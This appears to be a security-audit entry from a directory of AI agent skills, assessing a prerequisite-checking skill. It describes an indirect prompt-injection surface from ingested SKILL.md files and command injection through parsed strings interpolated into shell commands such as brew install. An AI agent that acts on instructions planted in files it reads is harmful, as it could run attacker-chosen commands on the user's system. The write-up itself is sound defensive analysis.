The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill exposes an attack surface by ingesting and acting upon content from other skills.
Ingestion points: Globbing and reading SKILL.md files from ~/.claude/skills/ and current directories.
Boundary markers: No explicit delimiters or warnings are used to differentiate parsed tool names from instructions.
Capability inventory: The skill has the ability to run command -v, brew install, gh extension install, and arbitrary auth-check commands.
Sanitization: It uses simple heuristics (first token extraction, backtick parsing) without robust sanitization or escaping of the parsed strings before they are used in shell commands.
[DYNAMIC_EXECUTION]: The skill dynamically constructs shell commands at runtime. It takes strings parsed from local files and interpolates them into command templates such as timeout 10 <tool> auth status and brew install <tool>, which allows for command injection if the source files are malicious.
[COMMAND_EXECUTION]: The skill relies heavily on shell command execution to perform its primary function. This includes auditing installation status via command -v, checking authentication states, and listing GitHub extensions.
[EXTERNAL_DOWNLOADS]: The skill offers to install missing dependencies using well-known package managers. It uses brew install for CLI tools and gh extension install for GitHub extensions based on repository names found during the parsing phase.

claude-skill-prereq-audit